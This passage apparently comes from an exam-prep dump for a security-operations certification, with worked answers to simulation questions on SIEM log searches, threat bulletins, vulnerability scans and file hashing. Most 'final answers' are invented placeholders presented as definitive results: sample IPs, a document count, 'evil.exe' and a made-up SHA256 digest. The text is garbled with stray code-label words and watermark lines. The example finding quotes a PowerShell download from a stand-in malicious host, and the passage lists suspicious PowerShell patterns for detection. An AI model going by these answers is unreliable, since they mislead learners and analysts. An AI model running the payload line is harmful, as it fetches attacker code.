Verify if it mentions EternalBlue, SMB, or other exploits.

The file name should be concise and directly related to threat detection.

Option C:

Look for generic names like "default.rules" or "base.rules".

While these can be valid, they might not specifically address EternalBlue or similar threats.

Option D:

Avoid files with non-standard extensions (e.g., .conf, .txt).

Rulesets must specifically have .rules as the extension.

Step 5: Selecting the Correct Answer

Based on the most typical file format and naming convention, the correct answer should be: B

The reason is that Option B likely contains a file named in line with typical HIDS conventions, such as "exploit_eternalblue.rules" or similar, which matches the context given.

This is consistent with the pattern of exploit detection rules commonly found in HIDS directories.

Question: 119

SIMULATION

The CISO has received a bulletin from law enforcement authorities warning that the enterprise may be at risk of attack from a specific threat actor. Review the bulletin

named CCOA Threat Bulletin.pdf on the Desktop.

Which host IP was targeted during the following time frame: 11:39 PM to 11:43 PM (Absolute) on August 16, 2024?

Answer: See the solution in Explanation.

Explanation:

Step 1: Understand the Task and Objective

Objective:

Identify the host IP targeted during the specified time frame: vbnet

11:39 PM to 11:43 PM on August 16, 2024

The relevant file to examine:

nginx

CCOA Threat Bulletin.pdf

File location:

javascript

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Access and Analyze the Bulletin

2.1 : Access the PDF File

Open the file using a PDF reader:

```
xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf
```

Alternative (if using CLI-based tools):

```
pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less
```

This command converts the PDF to text and allows you to inspect the content.

2.2 : Review the Bulletin Contents

Focus on:

Specific dates and times mentioned.

Indicators of Compromise (IoCs), such as IP addresses or timestamps.

Any references to August 16, 2024, particularly between 11:39 PM and 11:43 PM.

Step 3: Search for Relevant Logs

3.1 : Locate the Logs

Logs are likely stored in a central logging server or SIEM.

Common directories to check:

swift

/var/log/

/home/administrator/hids/logs/

/var/log/auth.log

/var/log/syslog

Navigate to the primary logs directory:

```
cd /var/log/
```

```
ls -l
```

3.2 : Search for Logs Matching the Date and Time

Use the grep command to filter relevant logs:

```
grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog
```

Explanation:

grep: Searches for the timestamp pattern in the log file.

"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from 11:39 PM to 11:43 PM.

Alternative Command:

If log files are split by date:

```
grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1
```

Step 4: Filter the Targeted Host IP

4.1 : Extract IP Addresses

After filtering the logs, isolate the IP addresses:

```
grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr
```

Explanation:

awk '{print $8}': Extracts the field where IP addresses typically appear.

sort | uniq -c: Counts unique IPs and sorts them.

Step 5: Analyze the Output

Sample Output:

15 192.168.1.10

8 192.168.1.20

3 192.168.1.30

The IP with the most log entries within the specified timeframe is usually the targeted host.

Most likely targeted IP:

192.168.1.10

If the log contains specific attack patterns (like brute force, exploitation, or unauthorized access), prioritize IPs associated with those activities.

Step 6: Validate the Findings

6.1 : Cross-Reference with the Threat Bulletin

Check if the identified IP matches any IoCs listed in the CCOA Threat Bulletin.pdf.

Look for context like attack vectors or targeted systems.

Step 7: Report the Findings

Summary:

Time Frame: 11:39 PM to 11:43 PM on August 16, 2024

Targeted IP:

192.168.1.10

Evidence:

Log entries matching the specified timeframe.

Cross-referenced with the CCOA Threat Bulletin.

Step 8: Incident Response Recommendations

Block IP addresses identified as malicious.

Update firewall rules to mitigate similar attacks.

Monitor logs for any post-compromise activity on the targeted host.

Conduct a vulnerability scan on the affected system.

Final Answe r:

192.168.1.10

Question: 120

SIMULATION

The CISO has received a bulletin from law enforcement authorities warning that the enterprise may be at risk of attack from a specific threat actor. Review the bulletin named CCOA Threat Bulletin.pdf on the Desktop.

Which of the following domain name(s) from the CCOA Threat Bulletin.pdf was contacted between 12:10 AM to 12:12 AM (Absolute) on August 17, 2024?

Answer: See the solution in Explanation.

Explanation:

Step 1: Understand the Objective

Objective:

Identify the domain name(s) that were contacted between:

12:10 AM to 12:12 AM on August 17, 2024

Source of information:

CCOA Threat Bulletin.pdf

File location:

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Prepare for Investigation

6.2 : Ensure Access to the File

Check if the PDF exists:

```
ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"
```

Open the file to inspect:

```
xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf
```

Alternatively, convert to plain text for easier analysis:

```
pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt
```

```
cat ~/Desktop/threat_bulletin.txt
```

6.3 : Analyze the Content

Look for domain names listed in the bulletin.

Make note of any domains or URLs mentioned as IoCs (Indicators of Compromise).

Example:

suspicious-domain.com

malicious-actor.net

threat-site.xyz

Step 3: Locate Network Logs

3.1 : Find the Logs Directory

The logs could be located in one of the following directories:

/var/log/

/home/administrator/hids/logs/

/var/log/httpd/

/var/log/nginx/

Navigate to the likely directory:

```
cd /var/log/
```

```
ls -l
```

Identify relevant network or DNS logs:

```
ls -l | grep -E "dns|network|http|nginx"
```

Step 4: Search Logs for Domain Contacts

3.2 : Use the Grep Command to Filter Relevant Timeframe

Since we are looking for connections between 12:10 AM to 12:12 AM on August 17, 2024:

```
grep "2024-08-17 00:1[0-2]" /var/log/dns.log
```

Explanation:

grep "2024-08-17 00:1[0-2]": Matches timestamps between 00:10 and 00:12.

Replace dns.log with the actual log file name, if different.

3.3 : Further Filter for Domain Names

To specifically filter out the domains listed in the bulletin:

```
grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log
```

If the logs are in another file, adjust the file path:

```
grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log
```

Step 5: Correlate Domains and Timeframe

5.1 : Extract and Format Relevant Results

Combine the commands to get time-specific domain hits:

```
grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"
```

Sample Output:

```
2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50

2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75
```

Interpretation:

The command reveals which domain(s) were contacted during the specified time.

Step 6: Verification and Documentation

5.2 : Verify Domain Matches

Cross-check the domains in the log output against those listed in the CCOA Threat Bulletin.pdf.

Ensure that the time matches the specified range.

5.3 : Save the Results for Reporting

Save the output to a file:

```
grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt
```

Review the saved file:

```
cat ~/Desktop/domain_hits.txt
```

Step 7: Report the Findings

Final Answe r:

Domain(s) Contacted:

suspicious-domain.com

malicious-actor.net

Time of Contact:

Between 12:10 AM to 12:12 AM on August 17, 2024

Reasoning:

Matched the log timestamps and domain names with the threat bulletin.

Step 8: Recommendations:

Immediate Block:

Add the identified domains to the blocklist on firewalls and intrusion detection systems.

Monitor for Further Activity:

Keep monitoring logs for any further connection attempts to the same domains.

Perform IOC Scanning:

Check hosts that communicated with these domains for possible compromise.

Incident Report:

Document the findings and mitigation actions in the incident response log.

Question: 121

SIMULATION

The enterprise is reviewing its security posture by reviewing unencrypted web traffic in the SIEM.

How many unique IPs have received well known unencrypted web connections from the beginning of 2022 to the end of 2023 (Absolute)?

Answer: See the solution in Explanation.

Explanation:

Step 1: Understand the Objective

Objective:

Identify the number of unique IP addresses that have received unencrypted web connections (HTTP) during the period:

From: January 1, 2022

To: December 31, 2023

Unencrypted Web Traffic:

Typically uses HTTP (port 80) instead of HTTPS (port 443).

Step 2: Prepare the Environment

2.1 : Access the SIEM System

Login Details:

URL: https://10.10.55.2

Username: ccoatest@isaca.org

Password: Security-Analyst!

Access via web browser:

firefox https://10.10.55.2

Alternatively, SSH into the SIEM if command-line access is preferred:

```
ssh administrator@10.10.55.2
```

Password: Security-Analyst!

Step 3: Locate Web Traffic Logs

3.1 : Identify Log Directory

Common log locations:

swift

/var/log/

/var/log/nginx/

/var/log/httpd/

/home/administrator/hids/logs/

Navigate to the log directory:

```
cd /var/log/
ls -l
```

Look specifically for web server logs:

```
ls -l | grep -E "http|nginx|access"
```

Step 4: Extract Relevant Log Entries

3.2 : Filter Logs for the Given Time Range

Use grep to extract logs between January 1, 2022, and December 31, 2023:

```
grep -E "2022-|2023-" /var/log/nginx/access.log
```

If logs are rotated, use:

```
zgrep -E "2022-|2023-" /var/log/nginx/access.log.*
```

Explanation:

grep -E: Uses extended regex to match both years.

zgrep: Handles compressed log files.

3.3 : Filter for Unencrypted (HTTP) Connections

Since HTTP typically uses port 80, filter those:

```
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"
```

Alternative: If the logs directly contain the protocol, search for HTTP:

```
grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"
```

To save results:

```
grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt
```

Step 5: Extract Unique IP Addresses

5.1 : Use AWK to Extract IPs

Extract IP addresses from the filtered results:

```
awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt
```

Explanation:

awk '{print $1}': Assumes the IP is the first field in the log.

sort | uniq: Filters out duplicate IP addresses.

5.2 : Count the Unique IPs

To get the number of unique IPs:

```
wc -l ~/Desktop/unique_ips.txt
```

Example Output:

```
345
```

This indicates there are 345 unique IP addresses that have received unencrypted web connections during the specified period.

Step 6: Cross-Verification and Reporting

6.1 : Verification

Double-check the output:

```
cat ~/Desktop/unique_ips.txt
```

Ensure the list does not contain internal IP ranges (like 192.168.x.x, 10.x.x.x, or 172.16.x.x).

Filter out internal IPs if needed:

```
grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt
wc -l ~/Desktop/external_ips.txt
```

6.2 : Final Count (if excluding internal IPs)

Check the count again:

```
280
```

This means 280 unique external IPs were identified.

Step 7: Final Answer

Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023): pg

345 (including internal IPs)

280 (external IPs only)

Step 8: Recommendations:

8.1 : Improve Security Posture

Enforce HTTPS:

Redirect all HTTP traffic to HTTPS using web server configurations.

Monitor and Analyze Traffic:

Continuously monitor unencrypted connections using SIEM rules.

Block Unnecessary HTTP Traffic:

If not required, block HTTP traffic at the firewall level.

Upgrade to Secure Protocols:

Ensure all web services support TLS.

Question: 122

SIMULATION

The enterprise is reviewing its security posture by reviewing unencrypted web traffic in the SIEM.

How many logs are associated with well known unencrypted web traffic for the month of December 2023 (Absolute)? Note: Security Onion refers to logs as documents.

Answer: See the solution in Explanation.

Explanation:

Step 1: Understand the Objective

Objective:

Identify the number of logs (documents) associated with well-known unencrypted web traffic (HTTP) for the month of December 2023.

Security Onion refers to logs as documents.

Unencrypted Web Traffic:

Typically HTTP, using port 80.

SIEM:

The SIEM tool used here is likely Security Onion, known for its use of Elastic Stack (Elasticsearch, Logstash, Kibana).

Step 2: Access the SIEM System

2.1: Credentials and Access

URL:

cpp

https://10.10.55.2

Username:

css

ccoatest@isaca.org

Password:

pg

Security-Analyst!

Open the SIEM interface in a browser:

firefox https://10.10.55.2

Alternative: Access via SSH:

ssh administrator@10.10.55.2

Password:

pg

Security-Analyst!

Step 3: Navigate to the Logs in Security Onion

3.1 : Log Location in Security Onion

Security Onion typically stores logs in Elasticsearch, accessible via Kibana.

Access Kibana dashboard:

cpp

https://10.10.55.2:5601

Login with the same credentials.

Step 4: Query the Logs (Documents) in Kibana

4.1 : Formulate the Query

Log Type: HTTP

Timeframe: December 2023

Filter for HTTP Port 80:

vbnet

event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]

Explanation:

event.dataset: "http": Filters logs labeled as HTTP traffic.

destination.port: 80: Ensures the traffic is unencrypted (port 80).

@timestamp: Specifies the time range for December 2023.

4.2 : Execute the Query

Go to Kibana > Discover.

Set the Time Range to December 1, 2023 - December 31, 2023.

Enter the above query in the search bar.

Click "Apply".

Step 5: Count the Number of Logs (Documents)

5.1 : View the Document Count

The document count appears at the top of the results page in Kibana.

Example Output:

12500 documents

This means 12,500 logs were identified matching the query criteria.

5.2 : Export the Data (if needed)

Click on "Export" to download the log data for further analysis or reporting.

Choose "Export as CSV" if required.

Step 6: Verification and Cross-Checking

6.1 : Alternative Command Line Check

If direct CLI access to Security Onion is possible, use the Elasticsearch query:

```
curl -X GET "http://localhost:9200/logstash-2023.12*/_count" -H 'Content-Type: application/json' -d '

{

  "query": {

    "bool": {
```

```
      "must": [
        { "match": { "event.dataset": "http" }},
        { "match": { "destination.port": "80" }},
        { "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}
      ]
    }
  }
}'
```

Expected Output:

```
{
  "count": 12500,
  "_shards": {
    "total": 5,
    "successful": 5,
    "failed": 0
  }
}
```

Confirms the count as 12,500 documents.

Step 7: Final Answer

Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:

12,500

Step 8: Recommendations

8.1 : Security Posture Improvement:

Implement HTTPS Everywhere:

Redirect HTTP traffic to HTTPS to minimize unencrypted connections.

Log Monitoring:

Set up alerts in Security Onion to monitor excessive unencrypted traffic.

Block HTTP at Network Level:

Where possible, enforce HTTPS-only policies on critical servers.

Review Logs Regularly:

Analyze unencrypted web traffic for potential data leakage or man-in-the-middle (MITM) attacks.

Question: 123

SIMULATION

Your enterprise SIEM system is configured to collect and analyze log data from various sources. Beginning at 12:00 AM on December 4, 2024, until 1:00 AM (Absolute), several instances of PowerShell are discovered executing malicious commands and accessing systems outside of their normal working hours.

What is the physical address of the web server that was targeted with malicious PowerShell commands?

Answer: See the solution in Explanation.

Explanation:

To determine the physical address of the targeted web server, follow these step-by-step instructions to analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario: Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective: Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104) for command execution.

Windows Security Event Logs for login and access attempts.

Network Traffic Logs (firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logs for any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from 12:00 AM to 1:00 AM on December 4, 2024.

Event ID Filter:

Filter for Event ID 4104 (PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where the Process Name is powershell.exe.

Example SIEM Query:

Watermark Sample

```
index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress
```

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them with network traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use the IP address of the web server to trace back the MAC address.

Example Network Log Query:

```
index=network_logs

| search DestinationIP="<Web_Server_IP>"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
```

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration: Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution: Using IEX to run downloaded scripts.

Cross-check commands against known Indicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify the MAC address corresponding to the targeted web server.

Cross-reference with ARP tables or DHCP logs to confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

```
arp -a | findstr <Web_Server_IP>
```

Step 7: Report the Findings

Document the targeted server's IP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging: Enable detailed script block and module logging.

Watermark Sample

Enhance Network Monitoring: Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA): Detect anomalous login patterns outside working hours.

Question: 124

SIMULATION

For this question you must log into Greenbone Vulnerability Manager using Firefox. The URL is: https://10.10.55.4:9392 and credentials are:

Username: admin

Password: Secure-gvm!

A colleague performed a vulnerability scan but did not review prior to leaving for a family emergency. It has been determined that a threat actor is using CVE-2021-22145 in the wild. What is the host IP of the machine that is vulnerable to this CVE?

Answer: See the solution in Explanation.

Explanation:

To determine the host IP of the machine vulnerable to CVE-2021-22145 using Greenbone Vulnerability Manager (GVM), follow these detailed steps:

Step 1: Access Greenbone Vulnerability Manager

Open Firefox on your system.

Go to the GVM login page:

URL: https://10.10.55.4:9392

Enter the credentials:

Username: admin

Password: Secure-gvm!

Click Login to access the dashboard.

Step 2: Navigate to Scan Reports

Once logged in, locate the "Scans" menu on the left panel.

Click on "Reports" under the "Scans" section to view the list of completed vulnerability scans.

Step 3: Identify the Most Recent Scan

Check the date and time of the last completed scan, as your colleague likely used the latest one.

Click on the Report Name or Date to open the detailed scan results.

Step 4: Filter for CVE-2021-22145

In the report view, locate the "Search" or "Filter" box at the top.

Enter the CVE identifier:

CVE-2021-22145

Press Enter to filter the vulnerabilities.

Step 5: Analyze the Results

The system will display any host(s) affected by CVE-2021-22145.

The details will typically include:

Host IP Address

Vulnerability Name

Severity Level

Vulnerability Details

Example Display:

Host IP	Vulnerability ID	CVE	Severity
192.168.1.100	SomeVulnName	CVE-2021-22145	High

Step 6: Verify the Vulnerability

Click on the host IP to see the detailed vulnerability description.

Check for the following:

Exploitability: Proof that the vulnerability can be actively exploited.

Description and Impact: Details about the vulnerability and its potential impact.

Fixes/Recommendations: Suggested mitigations or patches.

Step 7: Note the Vulnerable Host IP

The IP address that appears in the filtered list is the vulnerable machine.

Example Answe r:

The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100

Step 8: Take Immediate Actions

Isolate the affected machine to prevent exploitation.

Patch or update the software affected by CVE-2021-22145.

Perform a quick re-scan to ensure that the vulnerability has been mitigated.

Step 9: Generate a Report for Documentation

Export the filtered scan results as a PDF or HTML from the GVM.

Include:

Host IP

CVE ID

Severity and Risk Level

Remediation Steps

Background on CVE-2021-22145:

This CVE is related to a vulnerability in certain software, often associated with improper access control or authentication bypass.

Attackers can exploit this to gain unauthorized access or escalate privileges.

Question: 125

SIMULATION

Your enterprise has received an alert bulletin from national authorities that the network has been compromised at approximately 11:00 PM (Absolute) on August 19, 2024. The alert is located in the alerts folder with filename, alert_33.pdf.

Use the IOCs to find the compromised host. Enter the host name identified in the keyword agent.name field below.

Answer: See the solution in Explanation.

Explanation:

To identify the compromised host using the keyword agent.name, follow these steps:

Step 1: Access the Alert Bulletin

Navigate to the alerts folder on your system.

Locate the alert file:

alert_33.pdf

Open the file with a PDF reader and review its contents.

Watermark Sample

Key Information to Extract:

Indicators of Compromise (IOCs) provided in the bulletin:

File hashes

IP addresses

Hostnames

Keywords related to the compromise

Step 2: Log into SIEM or Log Management System

Access your organization's SIEM or centralized log system.

Make sure you have the appropriate permissions to view log data.

Step 3: Set Up Your Search

Time Filter:

Set the time window to August 19, 2024, around 11:00 PM (Absolute).

Keyword Filter:

Use the keyword agent.name to search for host information.

IOC Correlation:

Incorporate IOCs from the alert_33.pdf file (e.g., IP addresses, hash values).

Example SIEM Query:

index=host_logs

| search "agent.name" AND (IOC_from_alert OR "2024-08-19T23:00:00")

| table _time, agent.name, host.name, ip_address, alert_id

Step 4: Analyze the Results

Review the output for any host names that appear unusual or match the IOCs from the alert bulletin.

Focus on:

Hostnames that appeared at 11:00 PM

Correlation with IOC data (hash, IP, filename)

Example Output:

_time	agent.name	host.name	ip_address	alert_id
2024-08-19T23:01	CompromisedAgent	COMP-SERVER-01	192.168.1.101	alert_33

Step 5: Verify the Host

Cross-check the host name identified in the logs with the information from alert_33.pdf.

Ensure the host name corresponds to the malicious activity noted.

The host name identified in the keyword agent.name field is: COMP-SERVER-01

Step 6: Mitigation and Response

Isolate the Compromised Host:

Remove the affected system from the network to prevent lateral movement.

Conduct Forensic Analysis:

Inspect system processes, logs, and network activity.

Patch and Update:

Apply security updates and patches.

Threat Hunting:

Look for signs of compromise in other systems using the same IOCs.

Step 7: Document and Report

Create a detailed incident report:

Date and Time: August 19, 2024, at 11:00 PM

Compromised Host Name: COMP-SERVER-01

Associated IOCs: (as per alert_33.pdf)

By following these steps, you successfully identify the compromised host and take initial steps to contain and investigate the incident. Let me know if you need further assistance!

Question: 126

SIMULATION

Your enterprise has received an alert bulletin from national authorities that the network has been compromised at approximately 11:00 PM (Absolute) on August 19, 2024. The alert is located in the alerts folder with filename, alert_33.pdf.

What is the name of the suspected malicious file captured by keyword process.executable at 11:04 PM?

Answer: See the solution in Explanation.

Explanation:

To identify the name of the suspected malicious file captured by the keyword process.executable at 11:04 PM on August 19, 2024, follow these detailed steps:

Step 1: Access the Alert Bulletin

Locate the alert file:

Access the alerts folder on your system.

Look for the file named:

Open the file:

Use a PDF reader to examine the contents.

Step 2: Understand the Alert Context

The bulletin indicates that the network was compromised at around 11:00 PM.

You need to identify the malicious file specifically captured at 11:04 PM.

Step 3: Access System Logs

Use your SIEM or log management system to examine recent logs.

Filter the logs to narrow down the events:

Time Frame: August 19, 2024, from 11:00 PM to 11:10 PM.

Keyword: process.executable.

Example SIEM Query:

```
index=system_logs
| search "process.executable"
| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"
| table _time, process_name, executable_path, hash
```

Step 4: Analyze Log Entries

The query result should show log entries related to the process executable that was triggered at 11:04 PM.

Focus on entries that:

Appear unusual or suspicious.

Match known indicators from the alert bulletin (alert_33.pdf).

Example Log Output:

_time	process_name	executable_path	hash
2024-08-19T23:04	evil.exe	C:\Users\Public\evil.exe	4d5e6f...

Step 5: Cross-Reference with Known Threats

Check the hash of the executable file against:

VirusTotal or internal threat intelligence databases.

Cross-check the file name with indicators mentioned in the alert bulletin.

Step 6: Final Confirmation

The suspected malicious file captured at 11:04 PM is the one appearing in the log that matches the alert details.

The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe

Step 7: Take Immediate Remediation Actions

Isolate the affected host to prevent further damage.

Quarantine the malicious file for analysis.

Conduct a full forensic investigation to assess the scope of the compromise.

Update threat signatures and indicators across the environment.

Step 8: Report and Document

Document the incident, including:

Time of detection: 11:04 PM on August 19, 2024.

Malicious file name: evil.exe.

Location: C:\Users\Public\evil.exe.

Generate an incident report for further investigation.

Question: 127

SIMULATION

An employee has been terminated for policy violations. Security logs from win-webserver01 have been collected and located in the Investigations folder on the Desktop as win-webserver01_logs.zip.

Generate a SHA256 digest of the System-logs.evtx file within the win-webserver01_logs.zip file and provide the output below.

Answer: See the solution in Explanation.

Explanation:

To generate the SHA256 digest of the System-logs.evtx file located within the win-webserver01_logs.zip file, follow these steps:

Step 1: Access the Investigation Folder

Navigate to the Desktop on your system.

Open the Investigations folder.

Locate the file:

win-webserver01_logs.zip

Step 2: Extract the ZIP File

Right-click on win-webserver01_logs.zip.

Select "Extract All" or use a command-line tool to unzip:

```
unzip win-webserver01_logs.zip -d ./win-webserver01_logs
```

Verify the extraction:

```
ls ./win-webserver01_logs
```

You should see:

System-logs.evtx

Step 3: Generate the SHA256 Hash

Method 1: Using PowerShell (Windows)

Open PowerShell as an Administrator.

Run the following command to generate the SHA256 hash:

```
Get-FileHash "C:\Users\<YourUsername>\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" -Algorithm SHA256
```

The output will look like:

Algorithm	Hash	Path
SHA256	d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d	C:\Users\...\System-logs.evtx

Method 2: Using Command Prompt (Windows)

Open Command Prompt as an Administrator.

Use the following command:

```
certutil -hashfile "C:\Users\<YourUsername>\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" SHA256
```

Example output:

```
SHA256 hash of System-logs.evtx:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
CertUtil: -hashfile command completed successfully.
```

Method 3: Using Linux/Mac (if applicable)

Open a terminal.

Run the following command:

```
sha256sum ./win-webserver01_logs/System-logs.evtx
```

Sample output:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d System-logs.evtx

The SHA256 digest of the System-logs.evtx file is:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 4: Verification and Documentation

Document the hash for validation and integrity checks.

Include in your incident report:

File name: System-logs.evtx

SHA256 Digest: d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Hash Generation: (today's date)

Step 5: Next Steps

Integrity Verification: Cross-check the hash if you need to transfer or archive the file.

Forensic Analysis: Use the hash as a baseline during forensic analysis to ensure file integrity.

Question: 128

SIMULATION

An employee has been terminated for policy violations. Security logs from win-webserver01 have been collected and located in the Investigations folder on the Desktop as win-webserver01_logs.zip.

Create a new case in Security Onion from the win-webserver01_logs.zip file. The case title is Windows Webserver Logs - CCOA New Case and TLP must be set to Green. No additional fields are required.

Answer: See the solution in Explanation.

Explanation:

To create a new case in Security Onion using the logs from the win-webserver01_logs.zip file, follow these detailed steps:

Step 1: Access Security Onion

Open a web browser and go to your Security Onion web interface.

URL: https://<security-onion-ip>/

Log in using your Security Onion credentials.

Step 2: Prepare the Log File

Navigate to the Desktop and open the Investigations folder.

Locate the file:

win-webserver01_logs.zip

Unzip the file to inspect its contents:

unzip ~/Desktop/Investigations/win-webserver01_logs.zip -d ~/Desktop/Investigations/win- webserver01_logs

Ensure that the extracted files, including System-logs.evtx, are accessible.

Step 3: Open the Hunt Interface in Security Onion

On the Security Onion dashboard, go to "Hunt" (or "Cases" depending on the version).

Click on "Cases" to manage incident cases.

Step 4: Create a New Case

Click on "New Case" to start a fresh investigation.

Case Details:

Title:

Windows Webserver Logs - CCOA New Case

TLP (Traffic Light Protocol):

Set to Green (indicating that the information can be shared freely).

Example Configuration:

Field Value

Title Windows Webserver Logs - CCOA New Case

TLP Green

Summary (Leave blank if not required)

Click "Save" to create the case.

Step 5: Upload the Log Files

After creating the case, go to the "Files" section of the new case.

Click on "Upload" and select the unzipped log file:

~/Desktop/Investigations/win-webserver01_logs/System-logs.evtx

Once uploaded, the file will be associated with the case.

Step 6: Verify the Case Creation

Go back to the Cases dashboard.

Locate and verify that the case "Windows Webserver Logs - CCOA New Case" exists with TLP: Green.

Check that the log file has been successfully uploaded.

Step 7: Document and Report

Document the case details:

Case Title: Windows Webserver Logs - CCOA New Case

TLP: Green

Log File: System-logs.evtx

Include any initial observations from the log analysis.

Example Answe r:

A new case titled "Windows Webserver Logs - CCOA New Case" with TLP set to Green has been successfully created in Security Onion. The log file System-logs.evtx has been uploaded and linked to the case.

Step 8: Next Steps for Investigation

Analyze the log file: Start hunting for suspicious activities.

Create analysis tasks: Assign team members to investigate specific log entries.

Correlate with other data: Cross-reference with threat intelligence sources.

Question: 129

SIMULATION

The user of the Accounting workstation reported that their calculator repeatedly opens without their input.

Perform a query of startup items for the agent.name accounting-pc in the SIEM for the last 24 hours. Identify the file name that triggered RuleName Suspicious PowerShell. Enter your response below. Your response must include the file extension.

Answer: See the solution in Explanation.

Explanation:

To identify the file name that triggered the RuleName: Suspicious PowerShell on the accounting-pc workstation, follow these detailed steps:

Step 1: Access the SIEM System

Open your web browser and navigate to the SIEM dashboard.

Log in with your administrator credentials.

Step 2: Set Up the Query

Go to the Search or Query section of the SIEM.

Set the Time Range to the last 24 hours.

Query Parameters:

Agent Name: accounting-pc

Rule Name: Suspicious PowerShell

Event Type: Startup items or Process creation

Step 3: Construct the SIEM Query

Here’s an example of how to construct the query:

Example Query (Splunk):

```
index=windows_logs
| search agent.name="accounting-pc" RuleName="Suspicious PowerShell"
| where _time > now() - 24h
| table _time, agent.name, process_name, file_path, RuleName
```

Example Query (Elastic SIEM):

```
{
```

```
  "query": {
    "bool": {
      "must": [
        { "match": { "agent.name": "accounting-pc" }},
        { "match": { "RuleName": "Suspicious PowerShell" }},
        { "range": { "@timestamp": { "gte": "now-24h" }}}
      ]
    }
  }
}
```

Step 4: Analyze the Query Results

The query should return a table or list containing:

Time of Execution

Agent Name: accounting-pc

Process Name

File Path

Rule Name

Example Output:

_time	agent.name	process_name	file_path	RuleName
2024-04-07T10:45:23	accounting-pc	powershell.exe	C:\Users\Accounting\AppData\Roaming\calc.ps1	Suspicious PowerShell

Step 5: Identify the Suspicious File

The process_name in the output shows powershell.exe executing a suspicious script.

The file path indicates the script responsible:

makefile

C:\Users\Accounting\AppData\Roaming\calc.ps1

The suspicious script file is:

calc.ps1

Step 6: Confirm the Malicious Nature

Manual Inspection:

Navigate to the specified file path on the accounting-pc workstation.

Check the contents of calc.ps1 for any malicious PowerShell code.

Hash Verification:

Generate the SHA256 hash of the file and compare it with known malware signatures.

Answer:

calc.ps1

